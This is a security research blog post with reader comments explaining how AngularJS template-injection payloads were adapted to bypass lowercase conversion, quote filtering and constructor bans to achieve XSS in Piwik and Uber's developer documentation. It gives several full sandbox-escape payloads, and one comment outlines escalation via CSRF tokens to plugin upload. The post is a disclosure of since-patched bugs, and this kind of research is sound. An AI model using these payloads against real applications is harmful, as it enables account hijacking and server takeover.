login

Burp Suite, the leading toolkit for web application security testing

PortSwigger Web Security Blog

Monday, April 25, 2016

Adapting AngularJS Payloads to Exploit Real World Applications

Every experienced pentester knows there is a lot more to XSS than <script>alert(1)</script> - filtering, encoding, browser-quirks and WAFs all team up to keep things interesting. AngularJS Template Injection is no different. In this post, we will examine how we adapted template injection payloads to bypass filtering and encoding and exploit Piwik and Uber.

Lower case conversion

Piwik, an open-source analytics platform with a healthy 2.7 million downloads, uses AngularJS 1.2.26, and displays search queries from visitors.



By spoofing a referral from Google, we can inject a keyword containing an Angular expression in here. However, injecting the appropriate sandbox escape for Angular 1.2.26 doesn't work:

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

Piwik converts this input to lower case, preventing the charAt function from being overwritten and valueOf from being called. We easily got round those restrictions by using unicode escapes to overwrite the charAt function:

 'a'.constructor.prototype['char\u0041t']

and used ''.concat instead of valueOf:

'a'.constructor.prototype['char\u0041t']=''.concat;

Here is the final payload (Broken slightly to discourage exploits):

{{'a'.constructor.prototype['char\u0041t']=''.concat;
$eval("x='\"+(y='if(!window\\u002еx)alert(window\\u002ex=1)')+eval(y)+\"'");}}

https://jsfiddle.net/72uaodfe/


This vulnerability is really quite serious - an unauthenticated attacker can inject a payload which will hijack the account of anyone who views it. If an admin account is hijacked, we may be able to install a malicious module and take complete control of the webserver. Update to Piwik 2.16.1 to get the fix.

No quotes allowed

The ride-sharing company Uber lets developers submit and manage apps via developer.uber.com. They use a third party (readme.io) to display associated documentation at https://developer.uber.com/docs/.

This site uses AngularJS and reflects the current URL using server-side templating, but crucially doesn't URL decode it first. Firefox and Chrome both URL-encode quotes and apostrophes, meaning that if we want a cross-browser payload (and a decent vulnerability bounty), we need an alternative way of getting the string object. Also, we can't use any spaces, regardless of the browser.

Using the toString method of an object, we can create a string without the need for single or double quotes. ({}.toString) creates the string, then we can use its constructor to access the String object and call fromCharCode.

{{
    ({}.toString()).constructor.prototype.charAt=[].join;
 $eval(({}.toString()).constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,41,47,47))
}}

Mario Heiderich came up with a shorter version that removes the object literal reference. This can also be reduced (for those of you who like code "golfing") to:-

{{
 x=toString();x.constructor.prototype.charAt=x.constructor.prototype.concat;
 $eval(x.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,101,114,116,40,49,41,47,47))
}}

No quotes or constructor

However, there was one more catch. Uber was using Angular 1.2.0 which bans accessing constructor via a regular javascript property like obj.constructor, although an object accessor like obj['constructor'] was allowed. So I needed to generate the string "constructor" but I couldn't access the String constructor to call fromCharCode because I need to pass the string "constructor". A chicken and egg situation.

I thought how I could generate a string and concatenate them together without using +. I decided to use arrays. First off I create a blank array.
c=[];
The next problem was how to generate the required characters for constructor without the ability to call fromCharCode (because we can't use constructor yet) and no quotes! The trick here is to use existing objects to generate the required characters. You could almost think of this as a twisted kind of ROP. Using the toString method of the currently scoped object will generate the string [object Object] giving us some of the characters required for constructor.

o=toString();//[object Object]

The observant among you might be wondering how we could get a "n" since Angular tolerates undefined objects so we can't convert an undefined object into a string. The solution is to use the anchor "function" on the string as the generated output contains an "n".

t=o.anchor(true);//<a name="true">[object Undefined]</a>

Next I need to generate false too using the same method. You could use false.toString() instead of course. And now add all the strings into the array.
 
f=o.anchor(false);
c.push(o[5]);
c.push(o[1]);
c.push(t[3]);
c.push(f[12]);
c.push(t[9]);
c.push(t[10]);
c.push(t[11]);
c.push(o[5]);
c.push(t[9]);
c.push(o[1]);
c.push(t[10]);

I then need to join these characters together but I can't generate a blank string using quotes. The solution is to use an array literal which does the same thing.

a=c.join([]);

So we have our string "constructor" the next stage is to use the required exploit for 1.2.0 by Jan Horn and pass our string to it. We can now generate characters using fromCharCode now that we can use "constructor". Here is the final exploit in all its glory.
 
{{
c=[];
o=toString();
t=o.anchor(true);
f=o.anchor(false);
c.push(o[5]);
c.push(o[1]);
c.push(t[3]);
c.push(f[12]);
c.push(t[9]);
c.push(t[10]);
c.push(t[11]);
c.push(o[5]);
c.push(t[9]);
c.push(o[1]);
c.push(t[10]);
a=c.join([]);b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,toString()[c.join([])].fromCharCode(97,108,101,114,116,40,49,41))()
}}

http://jsfiddle.net/8jd84f44/ 

Uber/readme.io somewhat impressively patched this issue within 24 hours of it being reported.

Even when you're inside a JavaScript sandbox, there is still plenty of room for adapting exploits to bypass environmental constraints. These techniques should serve as a foundation for tackling whatever you encounter.

Happy sandbox hacking - @garethheyes & @albinowax

3 comments:

Anonymous said...

Great read, as usual !

I have a (maybe stupid) question though, about the Piwik example: how could someone "inject a payload which will hijack the account of anyone who views it", starting from there ? What could be used ? Stealing cookies and sending them to attacker or something like that ? I don't get that part...

James Kettle said...

Hi Anon,

The injected JavaScript can read the users' CSRF tokens from the HTML, and then use them to launch a CSRF attack to upload a custom plugin. For an example of a similar attack, check out http://blog.portswigger.net/2015/08/server-side-template-injection.html#Alfresco (there's a video demo at https://youtu.be/3cT0uE7Y87s?t=1895 )

Exploiting XSS in modern applications rarely requires stealing cookies - I'd argue cookie stealing only really has historical value these days (although there are some rare exceptions).

Antoine Roly said...

Hi James,

(The first comment was mine, I forgot to authenticate)

Ok thanks for your response, CSRF makes more sense in this case, obviously.

Actually, I was trying to exploit a similar problem in another open source application using AngularJS, but without success. I can escape the sandbox and make an alert() for example, but can't access anything really interesting. I'll probably try to use the CSRF token and see what's possible...


Support Center

Get help and join the community discussions at the Burp Suite Support Center.

Visit the Support Center ›

Copyright 2016 PortSwigger Ltd. All rights reserved.